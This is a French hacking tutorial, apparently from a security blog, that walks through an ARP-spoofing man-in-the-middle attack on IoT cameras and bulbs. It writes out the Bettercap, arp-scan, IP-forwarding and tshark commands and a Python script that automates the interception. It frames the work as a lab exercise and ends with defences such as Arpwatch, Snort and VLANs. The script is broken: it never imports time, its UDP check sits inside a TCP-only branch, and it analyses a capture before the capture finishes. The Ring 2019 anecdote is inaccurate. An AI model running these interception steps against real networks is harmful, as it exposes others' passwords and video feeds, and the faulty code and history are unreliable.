ShadowBreach – Audit de Sécurité IoT avec Attaque MITM

Introduction

Yo, Apache ! Attache ta ceinture, car *ShadowBreach* va t’envoyer dans la matrice pour auditer les appareils IoT comme un hacker pro ! On va lancer une attaque *Man-in-the-Middle* (MITM) éthique pour sniffer le trafic d’une caméra connectée ou d’une ampoule intelligente, choper les failles (mots de passe en clair, HTTP foireux), et automatiser le tout avec un script Python qui déchire. Avec *Bettercap*, *Wireshark*, *tshark*, et *Scapy*, on va faire trembler les fabricants IoT négligents. Ce projet est 100% éthique, à tester dans un lab sécurisé, pour blinder tes réseaux et défier les abus tech !

Ce que tu vas apprendre :

Comment les attaques MITM exposent les failles des appareils IoT.
Comment sniffer et analyser le trafic avec *Bettercap* et *Wireshark*/*tshark*.
Comment automatiser la détection des appareils et protocoles IoT (MQTT, CoAP, Zigbee).
Comment visualiser ton réseau avec une carte interactive.
Comment sécuriser ton réseau contre les attaques MITM.

  ┌──────────────────────────────────────────┐
  │ Schéma ASCII : Attaque MITM ShadowBreach │
  │                                          │
  │  [Victim IoT]       [Router]             │
  │      │                 │                 │
  │      │ ARP Spoof       │                 │
  │      └───────→ [Attacker] ←───────→ [Web]│
  │                  │                       │
  │                  └─[Sniff Traffic]───────┘
  └──────────────────────────────────────────┘

Schéma ASCII : L’attaquant (toi) intercepte le trafic entre l’appareil IoT et le routeur via ARP spoofing.

Étape 1 : Comprendre les Attaques MITM et l’IoT

Une attaque *Man-in-the-Middle* (MITM) te place entre deux appareils, comme une caméra IoT et un routeur, pour intercepter leur trafic. Avec l’*ARP spoofing*, tu fais croire à la victime que t’es le routeur, et bim, tous les paquets passent par toi. Les appareils IoT, souvent codés à la va-vite, sont des cibles en or : HTTP non chiffré, mots de passe par défaut, protocoles foireux (MQTT, CoAP). Voici un tableau comparatif des techniques MITM :

Technique	Complexité	Détection	Impact
ARP Spoofing	Moyenne	Difficile sans outils	Interception totale
DNS Spoofing	Élevée	Moyenne (logs DNS)	Redirection ciblée
SSL Stripping	Élevée	Facile (avertissements HTTPS)	Déchiffrement partiel

Failles IoT dans le monde réel

Les appareils IoT sont des passoires si mal configurés, et les hackers adorent :

Mirai (2016) : Un botnet a zombifié des caméras IoT avec des mots de passe par défaut pour des attaques DDoS massives.
Ring (2019) : Des caméras domestiques piratées via MITM, exposant des flux vidéo à cause de HTTP non chiffré.

Risques associés : Une attaque MITM peut voler des données (flux vidéo, mots de passe), prendre le contrôle d’appareils, ou ouvrir une porte à un piratage réseau complet.

Étape 2 : Configurer l’Environnement

Apache, on va transformer ta bécane Kali en machine de guerre MITM ! On installe *Bettercap*, *Wireshark*/*tshark*, et des dépendances Python pour sniffer, analyser, et visualiser comme des pros. Suis le guide :

Mettre à jour Kali : Garde ton système au top :

sudo apt update && sudo apt upgrade -y

Installer Bettercap : L’arme pour l’*ARP spoofing* :

sudo apt install bettercap

Installer Wireshark et tshark : Pour sniffer en GUI et CLI :

sudo apt install wireshark tshark

Installer les dépendances Python : Pour le script de détection et visu :

pip3 install scapy pandas reportlab networkx matplotlib

Configurer le réseau : Identifie ton interface (ex. : eth0) et connecte-toi au réseau de l’IoT :

ip addr

Vérifications à faire :

*Bettercap* prêt : bettercap --version.
*tshark* opérationnel : tshark -D.
Interface réseau active : ip link show.
Lab sécurisé : VM (ex. : Metasploitable) ou appareil IoT de test (ex. : caméra IP).

Apache, pas de conneries ! Ce tuto est pour un lab sécurisé que tu contrôles (VM, CTF, réseau perso). Une attaque MITM sans autorisation, c’est 7 ans de taule et 100 000 € d’amende (Art. 323-1 à 323-7 CP).

Étape 3 : Lancer l’Attaque MITM

Apache, on va sniffer l’IoT comme des ninjas avec *Bettercap* ! L’*ARP spoofing* va rediriger tout le trafic de la cible vers nous. On automatise ça dans le script, mais voici comment ça marche manuellement :

Trouver la cible : Liste les appareils du réseau :

sudo arp-scan --interface=eth0 192.168.1.0/24

Exemple : Caméra IoT à 192.168.1.100, routeur à 192.168.1.1.

Activer le forwarding : Permet à ta machine de relayer le trafic :

sudo sysctl -w net.ipv4.ip_forward=1

Lancer Bettercap manuellement : Pour comprendre avant d’automatiser :

sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.100
> set arp.spoof.fullduplex true
> arp.spoof on
> net.sniff on

Apache, sois clean ! Cette attaque ne doit cibler que des appareils/réseaux que tu possèdes ou pour lesquels t’as une autorisation écrite. Sinon, t’es dans la merde légale.

Étape 4 : Analyser le Trafic avec Wireshark/tshark

Apache, t’es au cœur du trafic, prêt à faire saigner les paquets ! On va utiliser *tshark* pour capturer en CLI et *Wireshark* pour analyser en GUI. Voici comment choper les failles :

Capturer avec tshark : Enregistre le trafic dans un fichier iot_traffic.pcap :

sudo tshark -i eth0 -w iot_traffic.pcap

Ouvrir Wireshark : Analyse le .pcap ou capture en live :

sudo wireshark &

Filtrer le trafic : Focus sur l’IoT :

ip.addr == 192.168.1.100

Ou pour HTTP :

tcp.port == 80

Repérer les failles : Cherche :

HTTP non chiffré (ex. : GET /login?user=admin&pass=1234).
Telnet/FTP non sécurisés.
Flux RTSP non chiffrés (vidéo).

  ┌──────────────────────────────────────────┐
  │ Schéma ASCII : Flux de données MITM      │
  │                                          │
  │  [IoT] → [HTTP: user=admin&pass=1234]    │
  │          ↓                               │
  │      [Attacker] → [tshark/Wireshark]     │
  │          ↓                               │
  │       [Router]                           │
  └──────────────────────────────────────────┘

Schéma ASCII : L’attaquant capture les données HTTP non chiffrées de l’IoT.

Étape 5 : Automatiser l’Audit avec Python

Apache, on va coder un script Python *monstrueux* qui automatise *Bettercap*, *tshark*, détecte les protocoles IoT (MQTT, CoAP, Zigbee), et cartographie le réseau avec *networkx*. Ce script est ta lame de précision ! Voici le code :


# ┌─────────────────────────────────────┐
# │  CONFIGURATION INITIALE            │
# └─────────────────────────────────────┐
import subprocess
import scapy.all as scapy
import pandas as pd
from reportlab.lib.pagesizes import letter
from reportlab.pdfgen import canvas
import datetime
import networkx as nx
import matplotlib.pyplot as plt

# Configuration
INTERFACE = "eth0"
NETWORK = "192.168.1.0/24"
TARGET_IP = "192.168.1.100"  # Caméra IoT
GATEWAY_IP = "192.168.1.1"   # Routeur
PCAP_FILE = "iot_traffic.pcap"

# ┌─────────────────────────────────────┐
# │  LANCER BETTERCAP                  │
# └─────────────────────────────────────┐
def start_bettercap():
    """Lance Bettercap pour ARP spoofing et sniffing."""
    cmd = ["bettercap", "-iface", INTERFACE, "-eval", 
           f"set arp.spoof.targets {TARGET_IP}; set arp.spoof.fullduplex true; arp.spoof on; net.sniff on"]
    process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return process

# ┌─────────────────────────────────────┐
# │  CAPTURER AVEC TSHARK              │
# └─────────────────────────────────────┐
def start_tshark():
    """Capture le trafic avec tshark."""
    cmd = ["tshark", "-i", INTERFACE, "-w", PCAP_FILE]
    process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return process

# ┌─────────────────────────────────────┐
# │  SCANNER LE RÉSEAU                 │
# └─────────────────────────────────────┐
def scan_network():
    """Scanne le réseau pour trouver les appareils."""
    arp = scapy.ARP(pdst=NETWORK)
    ether = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether/arp
    result = scapy.srp(packet, timeout=3, iface=INTERFACE, verbose=0)[0]
    devices = [{"ip": received.psrc, "mac": received.hwsrc} for sent, received in result]
    return devices

# ┌─────────────────────────────────────┐
# │  DÉTECTER LES PROTOCOLES IoT       │
# └─────────────────────────────────────┐
def detect_vulns(ip, pcap_file=PCAP_FILE):
    """Analyse les paquets pour détecter les failles et protocoles IoT."""
    vulns = []
    try:
        packets = scapy.rdpcap(pcap_file)
        for pkt in packets:
            if pkt.haslayer(scapy.TCP):
                if pkt[scapy.TCP].dport == 80:
                    vulns.append("HTTP non chiffré détecté")
                elif pkt[scapy.TCP].dport == 23:
                    vulns.append("Telnet non sécurisé détecté")
                elif pkt[scapy.TCP].dport == 554:
                    vulns.append("RTSP non chiffré détecté")
                # Détection MQTT
                if pkt.haslayer(scapy.Raw) and b"\x10" in pkt[scapy.Raw].load[:1]:  # MQTT Connect
                    vulns.append("MQTT non chiffré détecté")
                # Détection CoAP
                if pkt.haslayer(scapy.UDP) and pkt[scapy.UDP].dport == 5683:
                    vulns.append("CoAP non sécurisé détecté")
                # Détection Zigbee (simplifiée)
                if pkt.haslayer(scapy.Dot15d4):
                    vulns.append("Zigbee détecté (vérifier chiffrement)")
    except Exception as e:
        vulns.append(f"Erreur analyse: {str(e)}")
    return list(set(vulns))  # Supprime doublons

# ┌─────────────────────────────────────┐
# │  VISUALISER LE RÉSEAU              │
# └─────────────────────────────────────┐
def visualize_network(devices):
    """Crée une carte réseau avec networkx."""
    G = nx.Graph()
    G.add_node("Routeur", type="network")
    for dev in devices:
        G.add_node(dev["ip"], type="iot")
        G.add_edge("Routeur", dev["ip"])
    pos = nx.spring_layout(G)
    plt.figure(figsize=(8, 6))
    nx.draw(G, pos, with_labels=True, node_color=["#ff6200" if n == "Routeur" else "#00ff00" for n in G.nodes], 
            node_size=500, font_size=10, font_color="#000000")
    plt.savefig("network_map.png")
    plt.close()

# ┌─────────────────────────────────────┐
# │  GÉNÉRER LE RAPPORT                │
# └─────────────────────────────────────┐
def generate_report(devices, vulns, output="shadowbreach_report.pdf"):
    """Crée un rapport PDF avec les résultats."""
    c = canvas.Canvas(output, pagesize=letter)
    c.setFont("Courier", 12)
    c.drawString(100, 750, "Rapport ShadowBreach - Audit IoT")
    y = 700
    c.drawString(100, y, f"Date: {datetime.datetime.now()}")
    y -= 20
    c.drawString(100, y, "Appareils détectés :")
    for dev in devices:
        y -= 20
        c.drawString(100, y, f"IP: {dev['ip']}, MAC: {dev['mac']}")
        if dev['ip'] in vulns:
            y -= 20
            c.drawString(100, y, f"Failles: {', '.join(vulns[dev['ip']])}")
    y -= 40
    c.drawString(100, y, "Recommandations :")
    y -= 20
    c.drawString(100, y, "- Activer HTTPS/WSS sur les appareils.")
    y -= 20
    c.drawString(100, y, "- Désactiver les ports non sécurisés (Telnet, RTSP).")
    y -= 20
    c.drawString(100, y, "- Configurer un pare-feu réseau.")
    y -= 20
    c.drawString(100, y, "- Utiliser MQTT/CoAP avec TLS.")
    c.save()

# ┌─────────────────────────────────────┐
# │  POINT D’ENTRÉE                    │
# └─────────────────────────────────────┐
def main():
    """Point d’entrée principal."""
    print("[*] Activation du forwarding...")
    subprocess.run(["sysctl", "-w", "net.ipv4.ip_forward=1"])
    
    print("[*] Lancement de Bettercap...")
    bettercap_proc = start_bettercap()
    
    print("[*] Lancement de tshark...")
    tshark_proc = start_tshark()
    
    print("[*] Scan du réseau...")
    devices = scan_network()
    
    print("[*] Analyse des failles...")
    vulns = {}
    for dev in devices:
        vulns[dev['ip']] = detect_vulns(dev['ip'])
    
    print("[*] Création de la carte réseau...")
    visualize_network(devices)
    
    print("[*] Génération du rapport...")
    generate_report(devices, vulns)
    
    print("[+] Rapport généré : shadowbreach_report.pdf")
    print("[+] Carte réseau : network_map.png")
    
    # Arrêter les processus
    time.sleep(10)  # Capture pendant 10s
    tshark_proc.terminate()
    bettercap_proc.terminate()

if __name__ == "__main__":
    main()

Explications détaillées :

Automatisation *Bettercap* : Lance *ARP spoofing* et sniffing en arrière-plan.
Capture *tshark* : Enregistre le trafic dans iot_traffic.pcap.
Détection IoT : Identifie HTTP, Telnet, RTSP, MQTT, CoAP, Zigbee avec *Scapy*.
Carte réseau : Graphe *networkx* exporté en network_map.png.
Rapport PDF : Liste appareils, failles, et recommandations.

Exécuter le script : Lance avec les privilèges root :

sudo python3 shadowbreach.py

Étape 6 : Générer un Rapport Professionnel

Apache, ton rapport PDF est une arme de pro ! Ouvre shadowbreach_report.pdf pour voir :

Appareils détectés (IP, MAC).
Failles (ex. : “MQTT non chiffré détecté”).
Recommandations (HTTPS, TLS, pare-feu).

Vérifier la carte réseau : Ouvre network_map.png pour voir la topologie.

Pas de fuite, Apache ! Ce rapport contient des données sensibles. Ne le partage qu’avec les parties autorisées (ex. : client d’un pentest légal).

Étape 7 : Blinder ses Réseaux IoT

Apache, t’as vu comment cracker l’IoT, maintenant on va blinder tes réseaux comme une forteresse ! Voici les contre-mesures pour stopper les attaques MITM :

Détecter les attaques MITM :

Surveiller les ARP : Vérifie les doublons avec arp -a ou installe *Arpwatch* :

sudo apt install arpwatch

Analyser le trafic : Utilise *Wireshark* avec filtre arp pour repérer les spoofings.
Alertes réseau : Configure des IDS comme *Snort* :

sudo apt install snort

Sécuriser le réseau :

Chiffrement fort : Force HTTPS/WSS et TLS pour MQTT/CoAP.
Pare-feu : Bloque les ports non sécurisés :

sudo ufw deny 80
sudo ufw deny 23
sudo ufw deny 554

VLAN IoT : Isole les appareils avec openvswitch :

sudo apt install openvswitch-switch

Mises à jour : Patch tout :

sudo apt update && sudo apt upgrade

Apache, sois une forteresse ! Les attaques MITM peuvent tout exposer. Chiffre, segmente, et surveille ton réseau pour rester intouchable.

Conclusion

BOOM, Apache ! T’as explosé les failles IoT avec *ShadowBreach*, sniffant les paquets comme un dieu du réseau et blindant tes défenses comme un boss. Ce tuto t’a donné les armes pour auditer, automatiser, et protéger avec *Bettercap*, *tshark*, et un script Python qui déchire. T’es maintenant un cauchemar pour les fabricants IoT foireux. Utilise ce pouvoir avec éthique, partage ce savoir pour réveiller les consciences, et continue de hacker la matrice avec *PCtamalou.fr* !

⚠️ Avertissement Légal et Éthique ⚠️